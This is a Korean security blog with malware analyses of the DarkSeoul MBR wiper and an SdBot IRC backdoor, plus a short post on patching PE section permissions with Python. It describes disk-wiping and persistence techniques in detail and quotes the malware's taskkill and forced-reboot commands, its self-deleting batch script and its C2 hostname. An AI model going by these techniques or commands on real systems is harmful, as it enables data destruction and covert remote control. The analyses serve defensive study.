딱보면 CL값을 sourcce 레지스터에 XOR하여 값을 변경해야하는데 변경을 하지 못하는상태다.

즉 값을 변경한다는것은 WRITE한다는것이다.

 

 

 004195E9번지에 결과를 저장하려고할때 에러가 났다.

바로 PEVIEW를 열고 주소를 찾아보았다.

역시나 .RSRC 섹션의 BIN 0081 0412값의 첫번째 주소값이다.

이값을 변경하려고했는데 오류가났다.

 

 

예상했던대로 RSRC섹션에 읽기권한만 있고 쓰기권한은 없었다.

답을 점점 찾은것같아 마음이 조금 편안해지고있는것 같다.

저기에 80000000 WRITE 권한만 주면 될거같은데 될거같은데 그러나 방법을 어떻게 해야할지 생각이 안난다.

또다시 멘붕을 맞이하고 갑자기 머릿속에 떠오른 그.. 파.....이....썬 이었다.

그렇다 파이썬이다 내가 심심해서 인터넷으로 깔짝깔짝 배워서 써먹었던 언어다. 처음 접하고 굉장히 매력을 느꼈다. 내가 상상하고 생각한 그대로 결과물을 만들어준다.

쉽고 빠르다 그래서 c/c++보다 더좋으다 개인적으로.. 무튼..

혹시나 하는마음에 또다시검색 파이썬으로 PE를 컨트롤할수있는 모듈이 분명히 존재할것이라고 나는 굳게 믿었다.

아니 믿어야했다 지금 떠오르는 생각은 이방법밖에 없었다.

그리하여 찾은 모듈 바로 PEFILE!! 이다.

모듈을 찾고 대강 IDLE로 사용방법을 익히고 모듈을 분석해서 코드를 짰다.

 

 

50줄이 안된다.....

 

 

코드를 완성하고 py2exe로 실행파일로 만들고....

 

 실행해봤다..

투근한 맘으로 input filename 에 변경할 대상 실행파일을 입력하고, input the change section에 변경 대상 섹션을 입력한다.

그리고 추가할 권한번호를 입력하면 내가 짠루틴대로 실행하고 변경을 완료한 실행파일 re_dark.exe로 만들어준다.

 

 

짜잔~!! 보았는가~ 한치의 오차도없이 rsrc section의 characteristics 값 80000000이 추가되었다.

그리고 마지막 지푸라기를 잡고 올리를 실행하고 변경된 실행파일을 실행하고 access violation오류가 발생했던 곳까지가서 마지막 finish!!

step over하였다. 결과는 미션 클리어다 됬다 성공했다 해낸것이다. 크크크크크크 가슴이 후련하다. 뭔가 맺혀있던게 한방에 날려버린기분이다 ㅋㅋ

이제 이걸 응용해서 코드분석할때 내가 원하는 pe데이터들을 검색하는 프로그램도 만들 수 있을것같다.

 

 

 

posted by 미스터리 DKL

 

※ 주의사항

아래 공격 코드는 연구 목적으로 작성된 것이며, 허가 받지 않은 공간에서는 테스트를 절대 금지합니다.

악의 적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신한테 있습니다. 이는 해당 글을 열람할 때 동의하였다는 것을 의미합니다.

해당 문서의 저작권은 해당 프로젝트 참여 저자들에게 모두 있습니다. 외부에 공개시 법적 조치가 가해질 수 있습니다. 


개요

악성코드 개요

3월20일 대란으로 유명한 darkseoul 샘플 입니다.

MBR을 파괴하고 나서 물리드라이버(하드디스크)까지 파괴를 시키는 악성코드입니다. 


생성파일 정보 요약

 

 

감영증상 요약

MBR과 HDD를 파괴하고 강제로 리부팅하여 시스템을 파괴합니다.

VirusTotal 점검 내역

https://www.virustotal.com/ko/file/1fbecec5da37b9a6e6dd63add4988fe7e2c4249aada883f58bcb794020455b77/analysis/



 

상세 분석 내용

[ ApcCmdRun.exe]

[그림.1]

401000 ~ 401039 까지는 각각 401000[EBP-2C][EBP-24], 402499[EBP-C], 4026E9[EBP-8], 402755[EBP-14]의 값을 EBP에 저장합니다.

그리고 40103F ~ 30106E LOOP문이 나오는데 00401063에 있는 값을 ECX값과 더하여 401052에서 4026E9[EBP-8] 빈공간에 ECX값 401000값을 시작으로 순차적으로 저장합니다.

루프의 반복횟수는 402755에서 마지막 데이터가 있는 곳까지 27(1B)이며 이 값만큼 그림.1의 우측상단 헥사창과 같이 순차적으로 저장합니다.

 

 

 

 

[그림.2]

00401099 와 004010CB에서 Loadlibrary, GetProcAddress를 Kernel32.dll에서 가저온다.

 

[그림.3]

그림3에서 00401166 주소에서 함수를 호출하여 advapi32.dll,kernel32.dll,ntdll.dll,msvcrt.dll,user32.dll에서 사용 할 함수들의 주소를 뽑아온다.

뽑아오는 방식은 ApcRunCmd의 0040286D의 주소값을 이용하여 dll의 함수주소를 구하고 구한 주소값을 004027C1부터 차례로 저장한다.

각각의 DLL에서 뽑아오는 함수들은 다음과 같다.


advapi32.dll
OpenProcessToken 처음 4027c1에 저장
LookuPprivilegeValuea
AdjustTokenPriVileges


kernel32.dll
OpenFileMappingA
GetwindowsDirectory
InitializeCriticalSection
CreateThread
WaitForSingleObject
GetVersionEx
Sleep
GetDriveTypeA
FindFirstFileA
RemoveDirectory
FindNextFile
FindClose
CreateFile
WriteFile
CloseHandle
DeleteFileA
SetFilePoiner
GetSystemDirectoryA
GetDiskFreeSpaceA
GetDiskFreeSpaceExA
ReadFile
WinExec
GetCurrentProcess
LoadLibraryA
GetProcAddress

 

ntdll.dll
RtlLeaveCriticalSection
RtlGetLastWin32Error


shlwapi.dll
PathFileExistsA


user32.dll
ExitWindowsEx

 

 

[그림.4] 

 

004011D7와  에서  이름으로 OpenFileMapping을 시도한다.

실패시 에서 CreateFileMappingA함수로 JO840112-CRAS8468-11150923-PCI8273V이름으로 파일맵핑객체를 생성한다.

 

[그림.5]

 

[그림.6]

 

OpenFileMapping 함수 호출시 JO840112-CRAS8468-11150923-PCI8273V객체 이름과 4를 인자로 함수를 호출하게되는데. 4의 값을 visualstudio에서 WinNT.h헤더파일에서 확인한 것이다. 4의 값은 SECTION_MAP_READ로 읽기전용으로 함수를 호출한다.

그리고 다시 그림.4에서 00401200에서 GetWindowsDirectoryA함수로 windows디렉토리 경로를 얻고 00401214에서 strcat함수로 windows\Temp\~v3.log와같이 문자열을 결합한다.

그리고 00401223에서 PathFileExistsA함수로 windows\Temp\~v3.log 경로에 파일이 있는지 확인하기위해 함수를 호출한다.

즉 안랩V3가 해당PC에 설치 되어있으면 루틴을 실행하지않고 종료하게된다.

분석중인 가상시스템에는 V3가 설치되어있지 않으므로 이어서 루틴을 실행한다.

 

[그림.7]

 

40122E에서 함수를 호출하는데 함수 내부로 들어가면  pasvc.exe, clisvc.exe를 taskkill /F /IM 명령으로 각각 강제종료 합니다.

 

[그림.8]

004012B9에서 94비트만큼 메모리공간을 0으로 세팅합니다.

그리고 그 공간에 GetVersionExA함수로 현재 시스템의 버전을 얻고 특정 값들을 저장합니다.

 

 

[그림.9]

 

00401274에서 00402991(JO840112-CRAS8468-11150923-PCI8273V...)의 시작주소를 인자로 CreateThread함수를 호출합니다.
 

 

[그림.10]

 

함수내부로 들어가면 Kernel32.dll의 CreateRemoteThread의 함수 루틴의 주소로 이동하여 함수를 실행합니다.

함수를 빠저나오면 WaitForSingleObjectEx 함수로 INFINITE 파라미터와 CreateRemoteThread함수를 호출하여 얻은 핸들값 00000058인자로 주어 실행합니다.

WaitForSingleObjectEx함수는 동기화에 쓰이는 함수이며 INFINITE를 파라미터로 넘겨주었기 때문에 하나의 쓰레드가 완전히 종료될때까지 다른스레드가 접근하는것을 방지합니다.

즉 스레드1과 스레드2가 있을경우 스레드1을 INFINITE로 주었을때 스레드2는 스레드1이 작업이 모두종료되기 전까지 무한대기하게 됩니다.

  

 [그림.11]

 

00401DCF 에서 CreateFile 함수로 PhysicalDrive0(MBR)을 오픈한다.

 

[그림.12]

그림11의 00401DDE에서 ReadFile 함수로 MBR을 읽어 들인다.

 

 

 [그림.13]

 

00402017주소에서 memset함수 호출로 009EFCCC에 0A(10)만큼 0으로 메모리를 세팅한다. 

그리고 0040202F에서 009EFCCC의 빈 메모리 공간에 "PRICPES" 문자열을 저장한다.

마지막으로 00402042에서 009EFACC MBR영역에 512바이트만큼 0으로세팅한다.

 

 

[그림.14]

 

00402052에서 strlen 함수로 PRINCPES 문자열길이를 반환하고 반환된 길이만큼 PRINCPES문자열을 00402065의 memcpy함수로 그림13에서 0으로 세팅된 MBR영역의 주소에 복사한다.

그리고 이 문자들을 총 3Ch(60)회 반복한다.

 

 

[그림.15]

 

그림11~그림14까지의 과정을 총 10번하면서 물리드라이브를 0~10까지 찾아서 "PRICPES"문자열을 복사한다.

hexview로 mbr을 확인하면 그림15와같은 형태로 MBR이 변경되어있다.

 

 

[그림.16]

그리고 00401B2C에서 GetDriveType함수를 호출하며 결과값이 3과 2인지 확인한다.

3은 고정형드라이브 2는 이동식드라이브를 뜻하며 드라이브 알파벳을 증가시켜가며 체크한다.

드라이브 타입이 3.고정형드라이브일 경우 00401B53주소에서 CreateThread를 호출시킨다.

 

[그림.17]

 

스레드 내부로 진입하게되면 GetDiskFreeSpaceA함수와 GetDiskFreeSpaceEx함수로 현재 시스템의 전체저장공간에서 남은용량(00AEF78)과 전체 저장공간의 용량(00AEFF70)을 각각 구하게 됩니다.

 

 

[그림.18]

그리고 CreateFile 함수로 c:\를 READ/WRITE권한으로 OPEN하고 다른프로세스에서 파일을 READ/WRITE할수있는 권한 그리고 파일이있을때만 OPEN할수 있는 권한인 OPEN_EXISTING과 마지막으로 파일의 속성을 읽기전용과 숨김상태로 지정합니다.

다음으로 malloc 함수를 200h(512)만큼 Heap을 생성하고 생성된 힙의주소 00383AA9까지 총 200h의 크기만큼 루프를 돌면서 PRINCIPES문자열을 입력합니다.

 

[그림.19]

 

00401D0B에서 SetFilePointer 함수를 호출하여 C:\의 파일포인터를 0으로 세팅합니다.

그리고 WriteFile함수로 200h(512)까지 PRINCIPES문자열을 쓰게됩니다.

이렇게 1회전이되면 다음 파일포인터를 계산하게 되는데 00501D42주소를 보면 00F63000 + 000C8000 = 00102B000와같이 계산을하고 다시 파일포인터를 00102B000부터 200h(512)까지 문자열을 쓰며 반복합니다. 총반복횟수계산은 00501d50의 CMP를 보면 1회전일때 EAX값이 0000102Bh값입니다. 비교대상은 003C1E54입니다.

2회전일때 EAX값은 00002056이됩니다.

그렇다면 간단하게 3C1E54 / 102B = 3B7(951) 의 값이 나오는데 결론으로 951번 루프를돌며 문자열을 입력하여 하드디스크를 파괴합니다.

 

[그림.20]

 

지금까지 첫번째 스레드와 두번째 스레드를 분석했는데 각각의 스레드가 하는 역할을 정리해보면 다음과 같습니다.

첫번쨰 스레드는 MBR영역을 찾고 찾은 영역을 파괴합니다. 그리고 두번쨰 스레드는 물리드라이브를 찾고 파괴하는 역할을합니다.

이제 마지막으로 스레드를 빠저나오고 나면 00402134의 함수로 진입하게 됩니다.

함수 내부로 들어가게 되면 "shutdown -r -t 0" 를 인자로 WinExec함수를 호출하여 시스템을 강제로 리부팅하게 합니다.

 

 

[그림.21]

리부팅을하면 Operating System not found로 OS로 부팅을 하지 못하게됩니다.

결론으로 ApcCmdRun.exe 악성코드는 1차적으로 MBR을 파괴한 후 2차적으로 하드디스크를 파괴합니다.

 

 

 

 

 

##여기 루프문에서 JB문 뒤로 브포걸고 F9하면 브포가 걸리지않고 스레드가 종료해버린다.

해결방법은 스레드내의 모든 브포를 제가한후 스레드진입함수 밖으로 빠저나와 스레드진입함수 브포도 제거하고나서 스레드 다음의 함수에 브포를 걸고 F9를 해야 종료되지않는다.

 

 

 

참고 URL

- OOO 참고 : www.test.co.kr






posted by 미스터리 DKL
 

1. 개요

 

해당 악성코드는 Explorer.exe windows작업관리자가 시작되면 자동실행 된다. 

즉 컴퓨터가 재부팅되면 c"\windows/system32/System32.exe 프로세스를 자동실행하여 백도어의 역할을 하게 되며, 특정 명령어를 실행하며, 업데이트 기능도 갖고 있다


(1) 생성파일 정보 요약

 

[그림.1]

 

 

2. VirusTotal 점검 내역

https://www.virustotal.com/ko/file/e3b876df63fd0e1313be0dd416f654691193415f0ab6814d8be7c1ffe2f2bb8b/analysis/1362309628/

 

 

[그림.2]

 


3. 상세 분석 내용


(1) Manual FSG Packing


EXEINFO_PE 정보를 확인하면 해당 파일이 FSG V1.33으로 패킹 되어있는것을 확인 할 수 있습니다.

 

[그림.3]

 

FSG Packing의 특징은 헤더의 이름을 숨기는 특징이 있습니다.

그리고 UPX와 비슷하게 첫 번째 섹션의 값들이 0으로 나타나 있습니다.

이 또한 저 부분에 압축을 해제 할 것 같은데요 분석을 진행 하도록 하겠습니다.

 

[그림.4]

 

그림.4에서 왼쪽은 바이너리를 004010004 주소부터 복구를 합니다. 그리고 함수명을 복구하고 004224F9부분에서 OEP로 점프를 하게 됩니다.

 

[그림.5]

 

JE에서 점프하게되면 그림.5의 왼쪽그림과 같이 당황스러운 화면으로 넘어옵니다. 

이것은 어셈블리 명령어가 1바이트씩 각 한줄에 표시 되기 때문에 왼쪽 처럼 보여지는 것인데요.

이것을 분석할 수 있는 코드로 조합하려면 마우스 오른쪽 -> Analysis -> Remote analysis from module을 선택하면 오른쪽에 정상적으로 어셈블리 명령어가 분석하기 쉽게 보여 지게 됩니다.

[그림.6]

 

그 다음 olly_plugin에서 ollydump를 이용하여 덤프 를 뜨는데, Rebuild Import를 체크해제 후 dump합니다.

 

[그림.7]

 

그 다음 Import Rec로 IAT함수들을 복구 합니다.

여기서 Image Base 00400000값을 뺀 00001000값을 OEP로 입력하고 AutoSearch를 클릭합니다.

 

 

[그림.8]

 

그리고 RVA값 5FFC를 이용하여 00405FFC가서 위 아래 스크롤하여 더 있는지 확인하고 없으면, RVA값 그대로 사용합니다.

 

[그림.9]

 

그리고 다시 Get Imports를 클릭하면 valid:YES라고 뜨면 성공입니다.

간혹 NO 라고 나올경우 오른쪽 클릭하여 Cut thunk를 누르면 해결이 된다고 합니다.

 

[그림.10]

 

마지막으로 Fix Dump를 클릭하고 저장할때 그림.6에서 덤프 했던 파일을 클릭하여 저장합니다.

 

[그림.11]

 

그럼 위와 같이 unpacking된 것을 확인 할 수 있습니다.

 

4. 동적 분석

(1). RegShot 사용 결과


파일 바뀜 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell "Explorer.exe C:\Windows\system32\System32.exe" (이전 값="explorer.exe")
 


레지 값 추가됨 C:\Windows\System32\System32.exe


레지 값 바뀜 C:\Users\DK64\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat "Modified=2013-03-03 오후 9:53:41" (이전 값

="Modified=2013-03-03 오후 9:48:36")


레지 값 바뀜 C:\Users\DK64\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat "Modified=2013-03-03 오후 9:53:41" (이전 값="Modified=2013-03-03 오후 9:48:36")


레지 값 바뀜 C:\Users\DK64\AppData\Roaming\Microsoft\Windows\Cookies\index.dat "Modified=2013-03-03 오후 9:53:41" (이전 값="Modified=2013-03-03 오후 9:48:36")


레지 값 삭제됨 C:\Users\DK64\Desktop\Backdoor.SdBot.aa\backdoor.sdbot.aa_unpack_fsg_.exe

 


5. 정적 분석


(1) Windows System32 디렉토리에 백도어 파일 생성


[그림.12]

 

정적 분석을 시작합니다.

처음 GetVersionEx 함수 호출 후 GetTickCount 함수를 호출합니다. 

이 함수는 호출 이후 부터 시간을 카운트 하는데 1초에 1000씩 카운트를 합니다.

아래 DIV 명령에서 반환된 시간 값을 3E8(1000)으로 나누는 것을 확인 할 수 있습니다.

이어서 LoadLibrary와 GetProcAddress함수 를 호출하는데 LoadLibrary로 대상 dll을 호출하여 Base Adress를 얻고, GetProcAddress함수로 해당 dll에서 사용할 함수의 번지를 찾아 함수를 사용 할 수 있도록 함수의 포인터를 리턴해주는 역할을 합니다.

여기서는 각각 ICMP.DLL을 호출하고 해 당 DLL에서 IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho 의 함수를 호출하고 있습니다.

지금까지 보면 ping관련해 사용 될 것으로 추측 할 수 있습니다.

 

[그림.13] 

 

다음으로 GetProcAddress함수로 각각 RegisterServiceProcess, CreateToolhelp32Snapshot, Process32First, Process32Next에 대해 함수포인터를 찾아 반환 하고 있습니다.

그러나 처음 RegisterServiceProcess함수를 호출 할 때 ERROR_PROC_NOT_FOUND로 함수를 찾지 했습니다.

 RegisterServiceProcess 간단히 설명하면 WIN/95/98/ME에서 Ctrl+alt+del 했을때의 작업관리자에서 프로세스 목록이 나오며, 실행되고 있는 프로세스명도 같이 리스트로 보여주게 되는데, 이 함수를 사용하게 되면 실행목록에서 프로세스 명을 숨길 수 있는 기능을 한다고 합니다.

CreateToolhelp32Snapshot, Process32First, Process32Next 함수에 대해서는 이름 그대로 프로세스의 상태(이름,쓰레드 등등)을 스냅샷을 찍고 Process32First로 프로세스 정보를 첫번째로 추출하고 그 다음부터는 Process32Next함수를 사용해서 합니다.

그림.12와 그림.13에서 각각 사용 할 함수들을 세팅하는 과정입니다.

 

[그림.14]

 

Wininet.dll은 인터넷 관련 API 라이브러리 이며, Internet explorer를 위한 라이브러리 이기도 합니다.

첫 라인에서 InternetOpen 함수를 호출하여 인터넷 관련 dll들을 초기화 합니다.

그리고 Wininet.dll을 로드하고 InternetGetConnectedState 함수를 GetProcAdress함수를 사용하여 함수의 번지를 리턴합니다.

 

[그림.15]

 

GetmoduleHandleA함수로 실행되고있는 파일의 풀네임을 버퍼로 저장하고, 아래 GetTempPathA함수로 임시폴더의 경로를 버퍼에 저장합니다.

 

[그림.16] 

 

첫 번째 명령어 주소 004011BF 에서 CreateToolhelp32Snapshot함수를 호출하고 핸들을 리턴합니다.

그리고 Process32First, Process32Next함수를 호출하는데 여기서 실행 된 프로세스 backdoor.sdbot.aa_unpack_fsg_.exe 를 찾을때까지 루프를 계속 돌고 빠저나와 CloseHandle함수를 호출하여 종료합니다.

 

[그림.17]

 

GetTickCount 함수를 호출하고 리턴한 타임값을 인자로 srand의 seed값을 입력하고 랜덤값을 리턴합니다.

System32.exe 아스키 문자열을 ESI레지스터에 세팅하고 0012FF2B버퍼에 strncpy함수로 복사합니다.

그리고 GetSystemDirectory함수로 현제 시스템의 시스템 디렉토리 경로를 0012F9D8 버퍼에 저장하고 wsprintfA함수로 c:\windows\system32\System32.exe경로로 만듭니다.

strcmp함수로 System32.exe경로와 backdoor.SdBot... 경로를 비교하는데 결과는 같지 않습니다. 만약 결과가 같다면 아래 명령어 라인 주소 004012F4에서 JE문으로 점프하게 됩니다. 이러한 이유는 중복실행 방지를 위해서 입니다.

그리고 마지막 DeleteFileA함수로 c:\windows\system32\System32.exe 파일을 삭제합니다.

함수 호출 이후 0이면 실패 0이 아닌값을 리턴하면 성공인데 제가 분석하는 시스템에서 System32.exe 파일이 없으므로 0을 리턴하여 삭제시도는 실패하게 됩니다.

 

 

[그림.18]

 

CopyFile함수를 호출하는데 c:\users\dk64\desktop\backdoor.sdbot.aa\backdoor.sdbot.aa_unpack_fsg.exe 파일을 그대로 c:\windows\system32\System32.exe 이름으로 변경하여 복사를 합니다.

 

(2) r0815.bat 파일 생성

[그림.19]

 

c:\windows\system32\r0815.bat 경로를 wsprintf함수로 만들고, CreateFile함수로 파일을 생성합니다.


[그림.20]


첫 번째에서 r0518.bat  파일경로와 backdoor.sdbot.aa_unpack_fsg.exe 경로를 스택에 저장하고 명령어 주소 004013A1에서 wsprintf를 호출합니다.

그리고 WriteFile함수로 r0518.bat 에 특정 문자열을 작성하고 핸들을 닫는데 batch파일의 내용은 아래와 같습니다.

 

@echo off
 :Rep
 del "C:\Users\DK64\Desktop\Backdoor.SdBot.aa\backdoor.sdbot.aa_unpack_fsg_copy.exe"
 if exist "C:\Users\DK64\Desktop\Backdoor.SdBot.aa\backdoor.sdbot.aa_unpack_fsg_copy.exe" goto Rep
 del "C:\Windows\system32\r0815.bat"


내용은 현재 실행 된 프로그램을 삭제하고 생성된 batch파일도 삭제하라는 명령입니다.

하지만 이상태로 삭제하게 되면 함수 호출실패가 됩니다.

왜냐~! 삭제하려는 프로세스가 ollydbg로 사용하고 있기 때문에 삭제가 되지않습니다.

그래서 복사본 파일을 만들고 batch파일 내용을 테스트용으로 삭제 할 파일명으로 변경합니다.

 

[그림.21]

 

그리고 실행하면 위와 같이 정상적으로 삭제 됩니다.

 

[그림.22]

 

지금까지 패턴을 정리하면, backdoor.sdbot.aa_unpack_fsg.exe를 실행시키자 System32.exe로 이름을 변경하여 c:\windows\system32\ 하위에 복사를 해놓고 r0518.bat 파일을 생성하여 명령어로 backdoor.sdbot.aa_unpack_fsg.exe, r0518을 삭제하였습니다.

그리고 CreateProcess함수로 c:\windows\system32\System32.exe를 실행합니다.

 

 

[그림.23]

 

CreateProcess로 악성코드 복사본을 프로세스로 실행시켜 두고 exit 함수를 호출하여 종료합니다.

 

 (3) System32.exe 분석


[그림.24]

 

그리고 프로세스로 악성코드가 살아있기 때문에 olly에서 attach로 System32.exe 파일을 열어서 이어서 분석을 진행 해야 합니다.

  

[그림.25]

 

악성코드에서 "Explorer.exe C:\Windows\system32\System32.exe" ASCII 문자열을 만들어 놓습니다.

그리고 RegCreateKeyEX 함수로 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon 디렉토리를 생성하고 RegSetValueEx함수로 Shell파일에 Explorer.exe C:\Windows\system32\System32.exe문자열을 입력합니다.

 

 

[그림.26]

 

이로 인하여 사용자는 재부팅 할 때 Explorer.exe(windows 탐색기) 프로세스가 로드되는 순간 System32.exe(악성코드)가 같이 실행되어 사용자 의도와 상관없이 악성코드를 실행 하게 됩니다.

 

 

[그림.27]

 

그리고 "C:\Windows\system32", "c:\Users\DK64\AppData\Local\Temp\", "C:\Windows" 3개의 시스템, 임시, 윈도우 디렉토리 명을 가져옵니다.

 

 

[그림.28]

 

그리고 2013.3.7일 19:20:53초 와 같이 현재 파일이 실행 된 일자와 시간 정보도 가져옵니다.

 

 

[그림.29]

 

inet_addr 함수로 rbase01.ath.cx를 인자로 호출하나 실패하여 gethostbyname함수로 호스트 정보를 가져오는대 당연히 실패합니다.

이유는 지금 내 컴퓨터 호스트파일은 rbase01.ath.cx 에 대한 ip정보를 모르기 때문입니다. 

 

[그림.30]

 

위와 같이 호스트파일을 변경시켜 줘야 디버깅에서 다음 로직으로 이어서 분석이 가능합니다.

분석을 하기위해 로컬 루프백IP를 지정해 주었습니다.

 

 

[그림.31]


그림.31에서는 랜덤값을 생성하는 함수 내부입니다.

GetTickCount함수로 함수호출 이후의 Time값을 Seed로 Srand함수와 rand함수를 호출하여 난수를 발생합니다. 그리고 00401EAD와 00401EDD의 LEA 명령문을 보면 PTR DS:[EDX*4+40621C], PTR DS:[EDX*4+40621C]처럼 명령문이 구성되어 있습니다. 이것은 난수를 구해서 AX,DX값을 IDIV ECX로 나누고 그 값에 4를 곱 합니다.

그리고 나온값을 0040621C주소의 저장된값의 위치로부터 나눗셈하여 나온 값만큼의 거리에 있는 값을 구하게됩니다.

즉 0040621C(위치)+EDX*4(EDX에 4를 곱한 만큼의 위치의값이 되겠습니다.

 

 

[그림.32]

 

여기서 스레드를 실행하고 socket을 연다음 connect하는데 그림 29에서 6667번포트를 할당했었습니다.

그래서 공격자는 6667번포트를 열어놓고 기다리면 이 백도에어에서 connect함수를 호출하여 연결하고 00401CAA의 JNZ 문에 의하여 로직을 실행하게 됩니다.

그리고 만약 connect가 실패할 경우 CreateThread 함수 로직이 실행됩니다.


(4) Thread 분석


Thread가 하는 역할에 대해 분석을 하겠습니다.

 

 

 

[그림.33]

 

CreateThread 함수를 호출하여 00401D87의 Thread를 시작합니다.

스레드를 진입하여 호출되는 함수를 보면 socket, WSAAsyncSelect, ntohs, bind, listen, accept 입니다.

socket함수로 소켓을 생성하고, WSAAsyncSelect 함수가 나오는데 이 함수는 Windows GUI 어플리케이션 프로그램 에서 사용하는 함수이고 콘솔모드 끼리의 소켓에서는 사용할 수 없다고 합니다. 함수의 역할은 서버가 멀티쓰레드를 사용하여 여러개의 소켓 처리를 해야 할때가 있는데 그 역할을 이 함수 하나로 해줍니다. GUI에서 사용하고 콘솔에서는 사용할 수 없다는데 왜 그런것일까요? 개인적인 생각으로는 백도어(Server)에 접속하고 컨트롤하는 Client프로그램이 GUI가 아닐까 생각 됩니다.

다음으로 ntohs 함수로 71h(113) 인자로 호출 하게 됩니다.

함수의 역할은 네트워크 바이트 오더(빅엔디안)를 호스트바이트오더(리틀엔디안)으로 바꾸어 줍니다.

 

[그림.34]

 

그리고 이어서 다음 과 같이 함수를 호출하여 포트를 열고 대기를 합니다.

bind : 주소부여 - 여기서 ntons 함수사용 IP와 Port 정의 (구조체로 되어있음.)
listen : 대기상태
accept : 연결확인 및 수신(이 함수가 호출 되어야 그림.33과 같이 113포트가 생성됩니다.)

위에서 설명했듯이 ntons 함수로 71h(113)을 입력하고 함수를 호출합니다. 이어서 bind로 IP와 Port 등 주소체계를 구조체 형식으로 입력하고, listen, accept 함수를 호출하여 113번 포트를 열고 클라이언트가 접속할 때 까지 기다리게 됩니다.

 

 

[그림.35]

 

백도어(Server)에서 113 포트를 열고 있다 클라이언트가 113포트를 통해 접속을 시도하면 accept함수 다음으로 넘어가게 되며, rand값 즉 난수값을 생성합니다.

그리고 노란색 박스를 보면 00401E3E에서 rand함수로 난수를 뽑고 뽑은 수가 EAX레지스터에 세팅이 됩니다.

그 아래 00401E44에는 ECX값을 1770으로 세팅합니다. 그리고 그 아래 00401E49를 보면 IDIV ECX명령어가 나옵니다.

즉 rand함수로 뽑은 랜덤값 EAX를 ECX값 1770으로 나눕니다. 랜덤값(EAX) / 1770(ECX) = EAX(몫을 저장), EDX(나머지를 저장) 하게 되는데 여기서 나머지 값 을 저장한 레지스터 EDX에 1을 증가시켜 출력하게 되어 아래 그림 처럼 476 이라는 랜덤값을 뽑아 내게 됩니다.

 

[그림.36]


악성코드샘플 중 백도어/클라이언트 중에 백도어만 있고 클라이언트 프로그램은 구할 수 없어서 간단하게 클라이언트 프로그램을 만들었습니다.

클라이언트가 서버에 접속하자 백도어(Server)는 그림.35와 같이 476,6667 : USERID : UNIX :Rem3nX 라는 값을 공격자에게 보내게 됩니다.

여기서 그림.34에 보면 난수를 만들어 조합하게 되는데 그 조합된 결과가 USERID : UNIX :Rem3nX 값이 되겠습니다.

 

(5) Thread 이후의 Connect 로직 분석


다음은 그림.32에서 connect 했을때의 로직을 분석하겠습니다.

 

[그림.36]

 

6667번 포트를 열고 공격자가 대기하고 있으면 백도어에서 랜덤포트로 6667번 공격자에게 접속을 하고 명령을 수신하기위해 대기합니다.

 

 

[그림.37]

 

스레드가 실행되었을때는 백도어 자체가 113번 포트를 열어놓고 대기 했다면 connect함수 호출이후 로직은 공격자가 6667번 포트를 열어놓고 백도어가 접속을 하는 방식입니다.

 

 

[그림.39]

connect함수 호출 이후 입니다.

우선 sprintf 함수 호출로 [ SERVER ]-[ rbase01.ath.cx ] 값을 만들고 12F48C에 저장됩니다.

그리고 이 값을 인자로 첫번째 분석대상 00401CE2에서 함수를 호출합니다.

 

[그림.40]

 

함수 내부로 들어오면 처음 GetLocalTime함수로 현재 시간을 반환합니다.

그리고 strncpy함수 호출로 [ 23.3.2013 16:15:9 ]-[ BOOT ] 문자열을 복사합니다.
마지막으로 sprintf함수호출로 [23.3.2013 16:49:23 ]-[ SERVER ]-[ rbase01.ath.cx ]의 값으로 만들고 함수를 빠져 나옵니다.

다시 그림.39에서 strncpy 함수를 호출합니다. 이 때 그림.31에서 랜덤값을 생성 했었는데 그 생성된 랜덤 문자열을 0041E420에 빈 버퍼에 저장함니다.

 

 

[그림.41]

 

다음 그림.39에서 00401D29의 분석대상2번 함수 내부로 들어갑니다.

들어가면00401FB8 의 분석대상의 함수와 sprintf 함수로 yahoo.com 관련 정보를 전송 할 것처럼 보이지만 %s로 전달받는 변수 값은 랜덤값 으로 세팅되게 되어있습니다.

우선 첫번째 00401FB8의 호출되는 함수를 분석하겠습니다.

  

[그림.42]

 

GetTickCount트의 시간값을 seed로 난수를 발생하고 발생된 값을 ECX값으로 나누어 몫을 EAX에 나머지를 EDX에 저장합니다.

그리고 나서 [EDX*4+40621C]의 위치에 있는 값을 가져옵니다.

이러한 값들을 가저와 00401EEC명령어 주소의 strcat함수로 문자열을 조합하고 함수를 빠져 나옵니다.

 

 

[그림.43]

 

이후 그림.41에서 00401FD0의 sprintf 함수를 호출하면 그림.43과 같이 0012F3F0에 값이 저장이 되는데 %s로 전달받은 값은 전부 난수로 생성된 랜덤값으로 저장합니다.

그리고 그림.41에서 00401FE6에 보면 CALL ESI를 호출 하게 되는데 이 함수는 send함수로 공격자 클라이언트에게 값을 전송합니다.

 

 

[그림.44]

 

전송 되면 위와 같이 메세지를 확인 할 수 있습니다. YYXerWal, pA3x0R은 랜덤값이며, 3BB33A는 고정된 값입니다.  (그림.41참조)

 

[그림.45]

 

랜덤 값으로 만든 데이터를 공격자에게 전송 후 백도어는 recv로 공격자에게 메세지를 수신할 수 있도록 대기상태로 돌아갑니다.


[그림.46]

 

원래는 테스트용으로 만든 공격자 클라이언트에 메세지를 보내는 send부분은 구현하지 않았으나 백도어에서 recv로 메세지를 수신대기하기 때문에 클라이언트에 send하는 로직을 추가하여 테스트합니다.

그림.46은 recv 했을때의 결과입니다.

백도어측 에서 recv로 데이터 수신을 하기위해 대기상태가 됩니다. 이 때 공격자측 클라이언트에서 메세지를 받으면 해당메세지를 recv함수로 수신하여 위와 같이 버퍼공간에 저장을 하게됩니다.

 

 

[그림.47]

 

그리고 계속 step over하여 명령어를 실행하다 보면 004020B2에서 함수를 호출합니다.

step in 하여 함수 내부로 들어가 분석을 진행합니다.

 

 

[그림.48]

 

메세지를 받아 함수로 들어옵니다.

그럼 004021BB에서 strstr함수로 "공백:" 뒤에 있는 문자열을 필터링 합니다.

그리고 004021E9,00402206에서 strtok함수로 " " 공백 문자로 문자열 을 필터링합니다.

예로 " :attack ping test" 라는 문자열로 명령어를 내리면 "attack", "ping", "test" 라는 문자열로 나누어 저장을 하게 됩니다.

 

 

[그림.49]

 

